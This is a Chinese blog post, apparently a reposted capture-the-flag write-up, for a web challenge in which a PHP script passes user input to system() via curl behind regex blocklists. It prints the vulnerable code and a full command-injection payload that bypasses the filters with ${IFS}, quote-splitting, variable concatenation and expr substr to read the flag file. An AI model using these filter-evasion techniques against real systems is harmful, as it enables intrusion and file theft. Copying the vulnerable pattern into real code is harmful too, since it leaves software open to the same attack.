首页 > 其他 > 详细

成理第二次内部赛部分题目。

时间:2020-09-26 09:10:29      阅读:43      评论:0      收藏:0      [点我收藏+]

WEB方向:web_just_cmdi

知识点:代码审计&&命令注入

源码:

<?php
show_source(__FILE__);
$host = $_GET[‘host‘];
if(preg_match(‘/cat|tac|more|less|head|tail|nl|sort|grep|uniq|sed|awk|od|strings|\s/is‘, $host))
{
    die(‘read file?‘);
}
if(preg_match(‘/f.*?l.*?a.*?g/is‘, $host))
{
    die(‘flag?‘);
}
if(preg_match(‘/;|\||\(|\[|>|<|\/|\*|\?|,/is‘, $host))
{
    die(‘nonono‘);
}
system("timeout 2 curl $host");

进行代码审计。

  • 能控制$host进行传值。
  • 第一个正则表达式把常用系统命令过滤。
  • 第二个正则表达式把flag过滤掉,*?则是f l a g四个字母的三个空之间填入什么都会被匹配到然后过滤掉。
  • 第三个正则表达式把常用的/|?等常用在命令中的特殊符号过滤掉。
  • 在system处执行我们的命令。
    所以我们要做的就是绕开过滤实现拼接cat /flag。

payload:http://47.112.209.24:20021/?host=123%26a=f%26%26b=g%26%26c=la%26%26d=`expr${IFS}substr${IFS}"$APACHE_CONFDIR"${IFS}1${IFS}1`%26%26ca""t${IFS}$d$a$c$b


用到的技巧:

  • curl需要一个参数,我们随意给出,再在后面加上(&),让curl放入后台执行,而执行我们给出的其他命令。
  • 采用(&&)执行多项命令。
  • cat的绕过:ca""t加入一对双引号。
  • flag的拼接:定义三个变量(注意这里定义的时候不要按顺序拼出flag,照样匹配给你过滤),a=f,b=g,c=la。
  • 空格绕过:${IFS} URL编码一下&——>%26。
  • (/)的获取:本身被过滤了,我们能依赖的方法如图:

技术分享图片
可见$var|cut -c本身就含有被过滤的字符,所以我们采用expr substr来截系统内本身的变量。利用env命令:得到了如图

技术分享图片

看到其中$APACHE_CONFDIR=/etc/apache2,我们从第一个位置开始截一个字符,便是(/),再加上反引号让它执行得到/。放入第四个变量。


最后输入我们的payload,得到flag!
技术分享图片

对于菜鸡来说,相当的加深了对于命令拼接和绕过的认识。加油!

成理第二次内部赛部分题目。

原文:https://www.cnblogs.com/Riv3r1and/p/13732800.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!